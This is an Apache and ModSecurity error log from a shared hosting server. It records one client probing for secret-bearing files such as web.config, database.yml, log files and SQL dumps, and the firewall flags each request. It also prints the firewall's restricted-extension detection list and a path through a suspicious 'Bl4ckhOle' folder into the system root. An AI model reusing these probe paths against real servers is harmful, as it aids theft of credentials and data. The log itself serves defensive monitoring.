[tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/web.config"] [unique_id "alm0UZBVIrrUwtEhdaffiwAAAAU"]
[Fri Jul 17 10:19:21.674650 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/web.config"] [unique_id "alm0UZBVIrrUwtEhdaffiwAAAAU"]
[Fri Jul 17 10:19:21.674869 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/web.config"] [unique_id "alm0UZBVIrrUwtEhdaffiwAAAAU"]
[Fri Jul 17 10:19:21.875826 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0UZBVIrrUwtEhdaffiwAAAAU"]
[Fri Jul 17 10:19:23.564707 2026] [core:error] [pid 2063889:tid 2063889] (13)Permission denied: [client 57.141.18.76:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/cpu/cpu2/node0/memory11/subsystem/devices/memory8/subsystem/devices/memory3/node0/compact
[Fri Jul 17 10:19:24.450477 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0VP72foAPmCnen3StLgAAABs"]
[Fri Jul 17 10:19:24.450523 2026] [security2:error] [pid 2063463:tid 2063463] [client 84.247.146.115:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0VP72foAPmCnen3StLgAAABs"]
[Fri Jul 17 10:19:24.947611 2026] [security2:error] [pid 2070774:tid 2070774] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/config/database.yml"] [unique_id "alm0VJgSqNK-noXr5RtmbgAAAA4"]
[Fri Jul 17 10:19:24.947899 2026] [security2:error] [pid 2070774:tid 2070774] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/config/database.yml"] [unique_id "alm0VJgSqNK-noXr5RtmbgAAAA4"]
[Fri Jul 17 10:19:25.148669 2026] [security2:error] [pid 2070774:tid 2070774] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0VJgSqNK-noXr5RtmbgAAAA4"]
[Fri Jul 17 10:19:25.335773 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:52352] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:26.139922 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:52388] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:27.556434 2026] [security2:error] [pid 2065297:tid 2065297] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0V4QPslXM9Iu5soRtnwAAAAg"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:19:27.556570 2026] [security2:error] [pid 2065297:tid 2065297] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0V4QPslXM9Iu5soRtnwAAAAg"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:19:27.683536 2026] [security2:error] [pid 2060590:tid 2060590] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/logs/error.log"] [unique_id "alm0V3v42nOn2tp5Eua34wAAABA"]
[Fri Jul 17 10:19:27.683890 2026] [security2:error] [pid 2060590:tid 2060590] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/logs/error.log"] [unique_id "alm0V3v42nOn2tp5Eua34wAAABA"]
[Fri Jul 17 10:19:27.685556 2026] [security2:error] [pid 2030804:tid 2030804] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/logs/application.log"] [unique_id "alm0V4e39YUk0SgV8AVImwAAABE"]
[Fri Jul 17 10:19:27.685880 2026] [security2:error] [pid 2030804:tid 2030804] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/logs/application.log"] [unique_id "alm0V4e39YUk0SgV8AVImwAAABE"]
[Fri Jul 17 10:19:27.977382 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0V1CBpfuYyhJ140vhWAAAAB4"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:19:27.977413 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0V1CBpfuYyhJ140vhWAAAAB4"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:19:28.065504 2026] [security2:error] [pid 2060590:tid 2060590] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0V3v42nOn2tp5Eua34wAAABA"]
[Fri Jul 17 10:19:28.067625 2026] [security2:error] [pid 2030804:tid 2030804] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0V4e39YUk0SgV8AVImwAAABE"]
[Fri Jul 17 10:19:28.365927 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/storage/logs/laravel.log"] [unique_id "alm0WFWVGD3EZW05fn32XwAAAAI"]
[Fri Jul 17 10:19:28.366363 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/storage/logs/laravel.log"] [unique_id "alm0WFWVGD3EZW05fn32XwAAAAI"]
[Fri Jul 17 10:19:28.433090 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:52540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:28.592030 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0WFWVGD3EZW05fn32XwAAAAI"]
[Fri Jul 17 10:19:31.462259 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:56354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:31.654108 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/var/log/app.log"] [unique_id "alm0WzM07o9wrUj-Wv1zAwAAABQ"]
[Fri Jul 17 10:19:31.654447 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/var/log/app.log"] [unique_id "alm0WzM07o9wrUj-Wv1zAwAAABQ"]
[Fri Jul 17 10:19:31.790482 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/database.sql"] [unique_id "alm0W1WVGD3EZW05fn32YQAAAAI"]
[Fri Jul 17 10:19:31.790848 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/database.sql"] [unique_id "alm0W1WVGD3EZW05fn32YQAAAAI"]
[Fri Jul 17 10:19:31.843486 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0WzM07o9wrUj-Wv1zAwAAABQ"]
[Fri Jul 17 10:19:31.875844 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "alm0W5BVIrrUwtEhdaffkQAAAAU"]
[Fri Jul 17 10:19:31.876248 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "alm0W5BVIrrUwtEhdaffkQAAAAU"]
[Fri Jul 17 10:19:32.190439 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0W1WVGD3EZW05fn32YQAAAAI"]
[Fri Jul 17 10:19:32.296756 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0W5BVIrrUwtEhdaffkQAAAAU"]
[Fri Jul 17 10:19:32.399615 2026] [security2:error] [pid 2063442:tid 2063442] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "alm0XKTW5eFi1WFCzw0YwwAAABc"]
[Fri Jul 17 10:19:32.400023 2026] [security2:error] [pid 2063442:tid 2063442] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "alm0XKTW5eFi1WFCzw0YwwAAABc"]
[Fri Jul 17 10:19:32.533372 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/db.sql"] [unique_id "alm0XFmuKRtYY-VAGIVYiQAAAAk"]
